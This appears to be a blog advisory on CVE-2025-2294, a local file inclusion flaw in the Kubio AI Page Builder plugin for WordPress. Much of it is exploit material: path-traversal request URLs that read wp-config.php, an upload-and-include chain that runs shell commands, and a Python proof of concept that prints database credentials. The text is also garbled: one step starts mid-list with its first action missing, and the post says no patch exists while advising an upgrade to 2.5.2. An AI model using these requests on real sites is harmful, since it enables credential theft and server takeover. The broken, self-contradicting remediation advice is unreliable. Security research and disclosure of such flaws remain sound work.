CVE-2025-2294 - Critical Local File Inclusion Vulnerability in Kubio AI Page Builder for WordPress

A newly disclosed security flaw, tracked as CVE-2025-2294, exposes millions of WordPress sites using the popular Kubio AI Page Builder plugin to a devastating Local File Inclusion (LFI) attack. This vulnerability affects all versions up to, and including, 2.5.1 of the plugin.

This post explains how the flaw works, includes an exploit example, reviews the potential risks, and links to further resources.

What Is the Vulnerability?

Local File Inclusion (LFI) is a common attack allowing an attacker to force a web application to load files from the local file system. If exploited, it can expose sensitive files, user credentials, or even allow server-side code execution.

In the case of Kubio AI Page Builder, the vulnerability lies in the function kubio_hybrid_theme_load_template, which is meant to handle theme templates, but lacks proper input validation—allowing attackers to specify arbitrary files for inclusion.

Vulnerable Function Example (Simplified)

// WordPress function from Kubio plugin (simplified)
function kubio_hybrid_theme_load_template() {
    $template_path = $_GET['template'];  // Not properly sanitized
    include($template_path);             // Includes file specified by user
}

If user input is not validated or sanitized, an attacker can reach any readable file, or even execute malicious scripts.

Step 1: The Attacker Sends a Malicious Request

Many WordPress plugins handle AJAX or GET requests. In Kubio AI Page Builder, an attacker can craft a URL like this:

https://victimsite.com/wp-admin/admin-ajax.php?action=kubio_hybrid_theme_load_template&template=../../../../wp-config.php

This request tries to include the critical wp-config.php file, leaking database credentials and keys.

Step 2: Abusing File Upload

If an attacker can upload a file (even as an image or other “safe” file type), and knows its path, they can use the vulnerability to *execute* the code inside that file. For example:

- Then, they include it via

https://victimsite.com/wp-admin/admin-ajax.php?action=kubio_hybrid_theme_load_template&template=../../uploads/2024/06/malicious.jpg

Now, anyone visiting

https://victimsite.com/wp-admin/admin-ajax.php?action=kubio_hybrid_theme_load_template&template=../../uploads/2024/06/malicious.jpg&cmd=ls

Runs the ls command on the server.

Simple Exploit Proof-of-Concept (PoC) in Python

import requests

# Change these to fit the target site
url = "https://victimsite.com/wp-admin/admin-ajax.php";
params = {
    "action": "kubio_hybrid_theme_load_template",
    "template": "../../../../wp-config.php"
}
r = requests.get(url, params=params)
print(r.text)  # Will contain database credentials if successful

References

- WordPress Plugin Directory (Kubio)
- Wordfence Security Advisory
- Local File Inclusion Explained (OWASP)

> Note: As of writing, there is no official patch released. Site administrators must disable or remove Kubio AI Page Builder until a fix is available.

How to Protect Your Site

1. Deactivate and Uninstall: Remove Kubio AI Page Builder until version 2.5.2 or later is available.

Conclusion

CVE-2025-2294 is a high-risk vulnerability that’s trivial to exploit and can lead to full server compromise. All WordPress site owners using Kubio AI Page Builder (versions up to 2.5.1) must take action immediately to prevent exploitation.

Stay safe—always keep plugins and your WordPress core updated and keep an eye on responsible security reporting channels.


*Exclusively researched and summarized for this post. If you run into issues or want to report new findings, please post in trusted security forums or contact plugin maintainers directly.*

Timeline

Published on: 03/28/2025 05:15:41 UTC
Last modified on: 03/28/2025 18:11:40 UTC